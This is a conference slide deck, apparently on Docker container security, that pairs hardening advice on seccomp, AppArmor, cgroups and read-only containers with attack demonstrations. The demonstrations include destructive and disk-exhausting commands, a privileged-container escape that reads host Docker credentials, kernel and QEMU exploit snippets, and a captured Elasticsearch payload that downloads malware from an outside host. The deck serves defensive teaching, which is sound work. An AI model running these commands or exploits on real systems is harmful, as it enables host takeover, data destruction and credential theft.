How Secure Are Docker Containers?

How Secure Are Containers?
@Ben_Hall
Ben@Katacoda.com
Katacoda.com

“Containers Don’t Contain”

@Ben_Hall / Blog.BenHall.me.uk
Microsoft MVP – Cloud and Data Centre
Management
Tech Support > Tester > Developer > Founder
> Docker London Organiser
WHOAMI?

Learn for free via Interactive Browser-Based Labs
Katacoda.com

“What happens when you give
anonymous unrestricted
access to a hosted Docker container &
daemon?”
This is how we [try to] protect
ourselves

$ whoami
$ pwd
$ cd /
$ ls
$ apt-get install <some package>
$ passwd
$ rm –rf /

Dockerfile
RUN adduser <new user>
USER <new user>
$ docker run –u <new user>

CanIHazNonPrivilegedContainers.info

$ whoami
root
$ fallocate 1000T /etc/hosts
Because of how Docker maps /etc/hosts,
this will fill the hosts Docker partition. Bye
bye system.

$ uptime
$ free -m
$ df -h
$ cat /proc/cpuinfo
$ uname -a

“It also allows the container to access local network
services + like D-bus and is therefore considered
insecure”
$ docker run --net=host -it ubuntu bash
root@ubuntu:/# shutdown now
root@ubuntu:/#
$ docker run --net=host -it ubuntu bash
Post http://docker:2345/v1.20/containers/create: EOF.
* Are you trying to connect to a TLS-enabled daemon without TLS?
* Is your docker daemon up and running?

$ docker run --privileged –d nginx
$ ./exploit
container> df –h
Filesystem Size Used Avail Use% Mounted on
overlay 19G 2.7G 15G 16% /
/dev/vda1 19G 2.7G 15G 16% /etc/hosts
shm 64M 0 64M 0% /dev/shm
container> mkdir -p /tmp2; mount /dev/vda1 /tmp2
container> ls /tmp2
container> cat /tmp2/root/.docker/config

Docker provides a lot out of the box
but not everything…
https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2016/april/ncc_group_understanding_hardening_linux_containers-1-1.pdf

$ whoami
root
$ fallocate 1000T /etc/hosts
$ whoami
non-root-user
$ fallocate 1000T /mydata
Use ZFS file system. Enables Disk space quotas on
a per container level.

$ printf '%s ' {1..1310725} | xargs touch
$ df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/xvda1 1310720 1310720 0 100% /
$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 59G 16G 43G 26% /

Kernel (Ubuntu 16.04) BPF Exploit
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
https://www.exploit-db.com/exploits/39772/

Restrictions
• Namespaces – What can I see
• Capabilities – What can I do?
• Cgroups – How much of something can I use?
• Seccomp – What can I call?
• AppArmor – What can my app do?

Cgroup Settings
• Limit a container to a share of the resource
> --cpu-shares
> --cpuset-cpus
> --memory-reservation
> --kernel-memory
> --blkio-weight (block IO)
> --device-read-iops
> --device-write-iops

Everything is a syscall
• In Linux all applications interact with Kernel
via System Calls
• strace outputs all the calls
• Limit what calls can or cannot be executed

{
"name": ”open",
"action": "SCMP_ACT_ALLOW",
"args": []
}
{
"name": ”read",
"action": "SCMP_ACT_ALLOW",
"args": []
}
{
"name": "fchmodat",
"action": "SCMP_ACT_ERRNO",
"args": []
}

{
"name": ”modify_ldt",
"args": []
}

{
"name": ”mmap",
"args": []
}

$ docker run
--security-opt=”seccomp:nodirtycow.json”
amouat/dirty-cow-test

$ cat docker-nginx
#include <tunables/global>
profile docker-nginx
flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
network inet tcp,
network inet udp,
network inet icmp,
deny network raw,
deny network packet,
file,
umount,
deny /bin/** wl,
deny /boot/** wl,
deny /dev/** wl,
deny /etc/** wl,
deny /home/** wl,
deny /lib/** wl,
deny /lib64/** wl,
/usr/sbin/nginx ix,
deny /bin/dash mrwklx,
deny /bin/sh mrwklx,
deny /usr/bin/top mrwklx,
capability chown,
capability dac_override,
capability setuid,
capability setgid,
capability net_bind_service,
deny @{PROC}/{*,**^[0-9*],sys/kernel/shm*} wkx,
deny @{PROC}/sysrq-trigger rwklx,
deny @{PROC}/mem rwklx,
deny @{PROC}/kmem rwklx,
deny @{PROC}/kcore rwklx,
deny mount,
deny /sys/[^f]*/** wklx,
deny /sys/f[^s]*/** wklx,
deny /sys/fs/[^c]*/** wklx,
deny /sys/fs/c[^g]*/** wklx,

https://github.com/docker/libentitlement
$ docker run --rights=network.admin nginx:latest

https://clearlinux.org/blogs/how-intel%C2%AE-clear-containers-protects-against-root-kernel-exploits-dirty-cow

What happens when it all goes
wrong?

Hosting provider becomes unhappy

org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
C /etc/rc3.d
C /etc/rc4.d
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss

Read Only Containers
> docker run –-read-only
–v /data:/data
elasticsearch

Read Only Containers
> docker run –-read-only
--security-opt=no-new-privileges
--security-opt="apparmor:es-profile”
–v /data:/data
elasticsearch

Is Docker Secure?
• Yes. Docker is secure*
• Make sure you enable the security features
• ElasticSearch hack would have taken over
entire box
• But only as secure as your practices

$ docker run benhall/cute-kittens
Error: Missing docker.sock
Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens
$ docker run
-v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens

if [ -e /var/run/docker.sock ]; then
echo "**** Launching ****”
docker run --privileged busybox ls /dev
echo "**** Cute kittens ****"
else
echo "Error: Missing docker.sock”
fi

$ docker run
-v /var/run/docker.sock:/var/run/docker.sock
-p 80:80
vulnerable-application

Katacoda Security Content @
https://katacoda.com/courses/doc
ker-security

Think VMs contain?
CVE-2016-3710: QEMU: out-of-bounds memory access issue
Venom QEMU/KVM – Attack via floppy driver
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}

Privileged containers are not Contained!
Docker.sock file is sensitive!
https://katacoda.com/courses/docker-security
Apply Seccomp, AppArmor, PidsLimit
They will save you when things go wrong
Remember, run Docker / Kubernetes Bench
IDS and Container Security tooling are still key

@Ben_Hall
Ben@Katacoda.com
www.Katacoda.com

How Secure Are Docker Containers?

More Related Content

What's hot (20)

Similar to How Secure Are Docker Containers? (20)

More from Ben Hall (20)

Recently uploaded (20)

How Secure Are Docker Containers?

Editor's Notes